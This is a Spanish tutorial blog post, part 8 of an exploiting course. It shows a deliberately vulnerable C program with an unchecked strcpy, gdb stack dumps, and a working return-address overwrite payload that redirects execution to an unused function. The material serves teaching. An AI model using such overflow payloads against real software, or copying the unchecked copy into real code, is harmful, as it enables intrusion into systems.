lunes, 3 de septiembre de 2012

Minicurso de exploiting (parte 8): Aprovechándonos de un buffer overflow

En la última entrada vimos qué era una vulnerabilidad BoF y cómo hacer que el programa con ella incurriera en un acceso ilegal a memoria y fallara. Provocar esto en un programa que está orientado a dar un servicio (un servidor web por ejemplo) es una de las formas de provocar un DoS (Denial of Service). A veces un BoF sólo puede aprovecharse para provocar un DoS, pero otras veces se puede conseguir mucho más si se sabe cómo hacerlo. Ya hablamos en la entrada anterior de que en el caso más extremo un BoF puede acabar con la ejecución arbitraria de código... o no tan arbitrario. En esta entrada vamos a hablar de ello. Vamos a enseñar cómo, a partir de un BoF, podemos conseguir ejecutar código y conseguir cosas graciosas.

Volvamos a ver un programa con un BoF de libro.

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

int saludar() {
    printf("Hola BoF\n");
    exit(0);
}

int main(int argc, char *argv[]) {
    char buffer[128];

    if (argc != 2)
        printf("Usage: %s <param>\n", argv[0]), exit(-1);

    strcpy(buffer, argv[1]);
    return 0;
}

En buffer se copia el primer parámetro pasado al programa, si este parámetro es mayor de 128 bytes habrá sobreescritura. Veámoslo.

$ ./bof2 hola
$ ./bof2 `perl -e 'print "A"x128'`
$ ./bof2 `perl -e 'print "A"x140'`
Violación de segmento

Aunque haya sobreescritura a partir de 128, el programa no explota hasta los 140 bytes. Veamos por qué, aunque estoy seguro que ya puedes intuirlo.

$ gdb -q bof2
Leyendo sí­mbolos desde /path/bof2...(no se encontraron sí­mbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x08048472 <+0>:    push   %ebp
   0x08048473 <+1>:    mov    %esp,%ebp
   0x08048475 <+3>:    and    $0xfffffff0,%esp
   0x08048478 <+6>:    sub    $0x90,%esp
   0x0804847e <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048482 <+16>:    je     0x80484a6 <main+52>
   0x08048484 <+18>:    mov    0xc(%ebp),%eax
   0x08048487 <+21>:    mov    (%eax),%edx
   0x08048489 <+23>:    mov    $0x8048599,%eax
   0x0804848e <+28>:    mov    %edx,0x4(%esp)
   0x08048492 <+32>:    mov    %eax,(%esp)
   0x08048495 <+35>:    call   0x8048364 <printf@plt>
   0x0804849a <+40>:    movl   $0xffffffff,(%esp)
   0x080484a1 <+47>:    call   0x8048384 <exit@plt>
   0x080484a6 <+52>:    mov    0xc(%ebp),%eax
   0x080484a9 <+55>:    add    $0x4,%eax
   0x080484ac <+58>:    mov    (%eax),%eax
   0x080484ae <+60>:    mov    %eax,0x4(%esp)
   0x080484b2 <+64>:    lea    0x10(%esp),%eax
   0x080484b6 <+68>:    mov    %eax,(%esp)
   0x080484b9 <+71>:    call   0x8048354 <strcpy@plt>
   0x080484be <+76>:    mov    $0x0,%eax
   0x080484c3 <+81>:    leave 
   0x080484c4 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Punto de interrupción 1 at 0x80484b9
(gdb) run `perl -e 'print "A"x128'`
Starting program: /path/bof2 `perl -e 'print "A"x128'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff260:    0xbffff270    0xbffff554    0x00119b82    0xbffff314
0xbffff270:    0x080481cc    0xbffff308    0x0012da74    0x00000000
0xbffff280:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff290:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff2a0:    0x00237e79    0x0015e785    0xbffff2b8    0x00145ae5
0xbffff2b0:    0x00000000    0x08049ff4    0xbffff2c8    0x08048320
0xbffff2c0:    0x0011eb60    0x08049ff4    0xbffff2f8    0x080484f9
0xbffff2d0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2f8
0xbffff2e0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2f0:    0x080484e0    0x00000000    0xbffff378    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff260:    0xbffff270    0xbffff554    0x00119b82    0xbffff314
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f0:    0x08048400    0x00000000    0xbffff378    0x00145ce7

Usaré los mismos colores y patrones de la entrada anterior, y probablemente los seguiré usando el resto del curso.

Podemos apreciar dónde se encuentra buffer dentro del stack frame de main(), en esta ejecución hemos sobreescrito un byte más allá del límite del buffer, pero lo cambiado es un valor que no afecta al resto de la ejecución del programa. Veamos ahora por qué cuando al programa le pasamos 141 bytes sí explota.

(gdb) run `perl -e 'print "A"x140'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y
Starting program: /path/bof2 `perl -e 'print "A"x140'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff548    0x00119b82    0xbffff304
0xbffff260:    0x080481cc    0xbffff2f8    0x0012da74    0x00000000
0xbffff270:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff280:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff290:    0x00237e79    0x0015e785    0xbffff2a8    0x00145ae5
0xbffff2a0:    0x00000000    0x08049ff4    0xbffff2b8    0x08048320
0xbffff2b0:    0x0011eb60    0x08049ff4    0xbffff2e8    0x080484f9
0xbffff2c0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2e8
0xbffff2d0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2e0:    0x080484e0    0x00000000    0xbffff368    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff548    0x00119b82    0xbffff304
0xbffff260:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x00145c00

Como vemos, aquí­ se ha llegado a sobreescribir la dirección de retorno de main(). Cuando main() termine se saltará al código en la dirección 0x00145c00 (y no ha 0x00145ce7 como debería), ejecutando lo que allá hay. Dado que a partir de ese punto la ejecución ha sido corrompida (se ha cambiado el flujo de ejecución) lo más normal es acabar en un fallo de segmentación.

Lo que tenemos que tener claro de todo esto es que podemos cambiar el flujo de ejecución de un programa, y por tanto podemos hacer que el programa haga otras cosas, eso sí,­ hilando fino.

Veamos ahora cómo lograr ejecutar la función saludar() que escribí en el código y que sin embargo no usaba. Lo que debemos hacer es provocar la sobreescritura, pero de tal manera que lo que acabe en la dirección de retorno sea la dirección de la función saludar(), de forma que cuando main() retorne lo haga hacia saludar() y no de donde quiera que viniera. Lo primero es averiguar la dirección de saludar().

$ objdump -d bof2 | egrep "<saludar>"
08048454 <saludar>:

La primera instrucción de saludar() se encuentra en la dirección 0x08048454, veamos ahora cómo hacer que el programa ejecute esta función. Sabemos que a partir del byte 141 que le pasamos al programa se sobreescribe la dirección de retorno de main(), con lo que el byte 141, 142, 143 y 144 deben ser la dirección de saludar(). Lo que haremos será pasarle al programa 140 bytes de porquería, unas cuantas Aes por ejemplo (o eÑes si eres de la Nighterman old school) y justo después cada uno de los bytes de saludar().

$ ./bof2 `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Violación de segmento

¿Qué ha pasado por ahí­ abajo para que no haya funcionado lo que habí­amos planeado? Veámoslo, porque es algo bastante común y que debemos tener en cuenta.

$ gdb -q bof2
Leyendo sí­mbolos desde /path/bof2...(no se encontraron símbolos de depuración)hecho.
(gdb) disas main
Dump of assembler code for function main:
   0x08048472 <+0>:    push   %ebp
   0x08048473 <+1>:    mov    %esp,%ebp
   0x08048475 <+3>:    and    $0xfffffff0,%esp
   0x08048478 <+6>:    sub    $0x90,%esp
   0x0804847e <+12>:    cmpl   $0x2,0x8(%ebp)
   0x08048482 <+16>:    je     0x80484a6 <main+52>
   0x08048484 <+18>:    mov    0xc(%ebp),%eax
   0x08048487 <+21>:    mov    (%eax),%edx
   0x08048489 <+23>:    mov    $0x8048599,%eax
   0x0804848e <+28>:    mov    %edx,0x4(%esp)
   0x08048492 <+32>:    mov    %eax,(%esp)
   0x08048495 <+35>:    call   0x8048364 <printf@plt>
   0x0804849a <+40>:    movl   $0xffffffff,(%esp)
   0x080484a1 <+47>:    call   0x8048384 <exit@plt>
   0x080484a6 <+52>:    mov    0xc(%ebp),%eax
   0x080484a9 <+55>:    add    $0x4,%eax
   0x080484ac <+58>:    mov    (%eax),%eax
   0x080484ae <+60>:    mov    %eax,0x4(%esp)
   0x080484b2 <+64>:    lea    0x10(%esp),%eax
   0x080484b6 <+68>:    mov    %eax,(%esp)
   0x080484b9 <+71>:    call   0x8048354 <strcpy@plt>
   0x080484be <+76>:    mov    $0x0,%eax
   0x080484c3 <+81>:    leave 
   0x080484c4 <+82>:    ret   
End of assembler dump.
(gdb) br *main+71
Punto de interrupción 1 at 0x80484b9
(gdb) r `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`
Starting program: /path/bof2 `perl -e 'print "A"x140 . "\x08\x04\x84\x54"'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff544    0x00119b82    0xbffff304
0xbffff260:    0x080481cc    0xbffff2f8    0x0012da74    0x00000000
0xbffff270:    0xb7fffb28    0x00000001    0x00000000    0x00000001
0xbffff280:    0x0012d918    0x00000001    0x00008000    0x00287ff4
0xbffff290:    0x00237e79    0x0015e785    0xbffff2a8    0x00145ae5
0xbffff2a0:    0x00000000    0x08049ff4    0xbffff2b8    0x08048320
0xbffff2b0:    0x0011eb60    0x08049ff4    0xbffff2e8    0x080484f9
0xbffff2c0:    0x00288324    0x00287ff4    0x080484e0    0xbffff2e8
0xbffff2d0:    0x0015e985    0x0011eb60    0x080484eb    0x00287ff4
0xbffff2e0:    0x080484e0    0x00000000    0xbffff368    0x00145ce7
(gdb) nexti
0x080484be in main ()
(gdb) x/40xw $esp
0xbffff250:    0xbffff260    0xbffff544    0x00119b82    0xbffff304
0xbffff260:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff270:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff280:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff290:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d0:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e0:    0x41414141    0x41414141    0x41414141    0x54840408

Ahora vemos qué está pasando. La dirección de retorno no se ha sobreescrito por 0x08048454, sino por ese número pero con los bytes al revés, 0x54840408. ¿Y esto por qué es?. Recordemos que estamos ejecutando en una máquina x86, esta arquitectura utiliza una ordenación de los bytes de los datos tipo little endian, lo que significa que los bytes menos significativos de un dato van en posiciones menos significativas de memoria. Mucho cuidado con estos detalles y con la forma de representar los datos tanto de gdb como de cualquier otro debugger que uses.

Dado que de la dirección de saludar, 0x08048454, el byte menos significativo es 0x54, es éste el que debe ir en el byte menos significativo de la dirección de retorno, luego 0x84 y así sucesivamente.

(gdb) r `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
The program being debugged has been started already.
Start it from the beginning? (y o n) y

Starting program: /path/bof2 `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`

Breakpoint 1, 0x080484b9 in main ()
(gdb) cont
Continuando.
Hola BoF

Program exited normally.

Efectivamente ahora sí­ vemos que se nos ha escrito el mensaje "Hola BoF" que esperábamos. Veamos que también ocurre ejecutando sin gdb.

$ ./bof2 `perl -e 'print "A"x140 . "\x54\x84\x04\x08"'`
Hola BoF

Correcto, hemos conseguido hacer que un programa que, en principio no llamaba a cierta función acabe llamándola. Esto es lo que se suele llamar ejecución "arbitraria" de código.

Espero que con esto se les haya iluminado la mente y descubierto nuevas vías para truquear los programas, pero sobre todo espero que les sigan surgiendo nuevas dudas y ganas de seguir leyendo... porque seguiré escribiendo y mostrando cosas aún más interesantes, sólo estamos empezando...

Saludos.

3 comentarios:

  1. Muy bien explicado David!! Me ha gustado el ejemplo de llamar a una función "inexistente".

    Muy buena la serie ;)

    Un Saludo!!

    ResponderEliminar
  2. Me alegro que te gusten Dani ;). Ya veremos más adelante cómo ejecutar lo que queramos y no sólo lo que dispongamos...

    ResponderEliminar
  3. lastima no haber encontrado el curso antes, esta excelente...gracias ole

    ResponderEliminar